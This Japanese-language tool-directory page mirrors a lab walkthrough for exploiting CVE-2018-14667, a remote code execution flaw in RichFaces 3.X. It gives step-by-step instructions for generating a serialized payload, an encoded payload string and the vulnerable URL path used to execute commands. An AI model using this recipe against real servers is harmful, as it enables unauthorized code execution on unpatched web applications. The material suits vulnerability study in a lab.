Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-14667 — CVE-2018-14667 のすべて; それが何であるかから、エクスプロイトを成功させる方法まで。 | Kitploit
ツール/GitHubGitHub/syriusbughunt/cve-2018-14667
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

CVE-2018-14667 のすべて; それが何であるかから、エクスプロイトを成功させる方法まで。

リポジトリを見る
50927年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-14667

このCVEを理解し、正しく悪用するために多くの時間を費やした後、RichFaces 3.X RCEバグに関するリポジトリを構築し、そのHOWTOをコミュニティと段階的に共有することにしました。

0x00 : RichFaces 3.X バグの概要

11月19日月曜日、Joao F M Figueiredo 氏は、重大な高リスクのRichFaces脆弱性に関する詳細な記事(https://seclists.org/fulldisclosure/2018/Nov/47)を公開しました。
CVSS3 ベーススコア 9.8

この脆弱性により、認証されていない任意のユーザーが、RichFaces 3.X(全バージョン)を使用している任意のWebアプリケーションでリモートコード実行を行えるようになります。これはほぼ最悪のケースです。

0x01 : 自分は影響を受けていますか? 

もしあなたがRichFaces 3.X(RichFaces 3の任意のバージョン)を実行していて、ソースに以下のコードが含まれているなら、CVE-2018-14667のリモートコード実行に対して脆弱である可能性が高いでしょう:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : 脆弱な環境を実行してバグをテストする 

ここでは、seclists.orgの記事で既に説明されている、脆弱な環境をデプロイする方法について基本的に再度説明します。

  1. JBoss 5.1.0GAと、PhotoAlbumアプリケーションを含むRichFacesのデモアプリケーションをダウンロードします。
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip →

https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  • ZIPアーカイブを解凍します。
  • アプリケーション richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear をJBossデプロイディレクトリ jboss-5.1.0.GA/server/default/deploy/ にコピーします。
  • 次の構文を使用してJBossアプリケーションサーバーを起動します(起動前にポート8080が既に使用されていないことを確認してください): cd bin ; ./run.sh -b 0.0.0.0
  • Webアプリケーションをアクティブにするには、PhotoAlbumのインデックスページをブラウズする必要があります。
  • 0x03 : 有効なペイロードの生成 

    さて、ここからが楽しい部分です! ここで私は困難を経験したので、有効なペイロードを生成する方法を、私が犯した同じエラーを繰り返さないように詳しく説明します。まず、ペイロードをコンパイルするためにEclipseを使用することをお勧めします。

    1. 次のリンクからEclipseをダウンロードします:
      → https://www.eclipse.org/downloads/
    2. Eclipseを起動し、新しいWebプロジェクトを作成するを選択します。
    3. このリポジトリにあるペイロードジェネレーターを入手します(https://xz.aliyun.com/t/3264 の orich1 による功績)
      → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
    4. このリポジトリのWARアーカイブ(richfaces-demo-3.3.0.GA-tomcat6.war)を展開し、WEB-INF/lib/ フォルダ内のすべての .jar ファイルをEclipseのJava Webプロジェクト内の WebContent/WEB-INF/lib/ にコピーします。
      → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
    5. Eclipseで Main.java ファイルを追加します;EclipseでJava Webプロジェクト名を右クリックし、New、File と選択します。
    6. Eclipseで WebContent/WEB-INF/lib フォルダーをビルドパスのソースに設定します:libフォルダーを右クリックし、Build Path、Use as Source Folder と選択します。
    7. 運試しをしてみましょう。緑色のPlayボタンをクリックしてコンパイラを実行します。エラーが0で、出力に有効なペイロードが生成されたら、おめでとうございます。CVE-2018-14667用の有効なペイロードが得られたことになります。あらゆる種類のエラーが発生しても、慌てないでください。次の行(29、30、31、32、33、34、35)をコメントアウトして、次のようにするとよいでしょう:
    root@kitploit:~
            // Class clazz = Class.forName("javax.el.MethodExpression");
            // Field field = clazz.getField("serialVersionUID");
            // field.setAccessible(true);
            // Field modifiersField = Field.class.getDeclaredField("modifiers");
            // modifiersField.setAccessible(true);
            // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
            // field.setLong(null, MethodExpressionSerialVersionUID);
    

    Eclipseでの出力結果は次のようになるはずです:

    root@kitploit:~
    /DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
    

    0x04 : ペイロードを送信してリモートコード実行を取得する 

    ブラウザで、PhotoAlbum Webアプリケーションを実行しているローカルJBossサーバー http://192.168.100.2:8080/photoalbum に移動し、右クリックしてページのソースを表示します。Ctrl+F を押して '/DATA/' を検索してください。次のようなものが見つかるはずです:

    root@kitploit:~
    src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 
    

    シリアライズされたオブジェクトがはっきりと確認できます。ここで、シリアライズされたオブジェクトをペイロードに置き換えて、リモートコード実行を取得します。ブラウザでURLを http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE に変更します。私のペイロードは 'touch /tmp/PoorRichFaces' というコマンドを実行するものでした。成功したかどうか見てみましょう:

    root@kitploit:~
    drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
    drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
    -rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 
    

    気分がいいでしょう? 私たちはRichFaces 3.Xを実行しているJava WebアプリケーションでRCEを取得しました。

    0x05 : パッチ適用方法は? 

    この事実を気に入らないかもしれませんが、心の準備をしてキーボードにしがみついていてください。RichFacesは製品サポートの寿命を迎えたため、ユーザー(あなた)は独自のパッチを適用する必要があります。パニックにならないでください。パッチの方法が見つからない場合は、遠慮なく私に連絡してください。あなたのJava Webアプリケーションにパッチを適用する取り決めをすることができます。

    E-mail: [email protected]

    ツールをダウンロード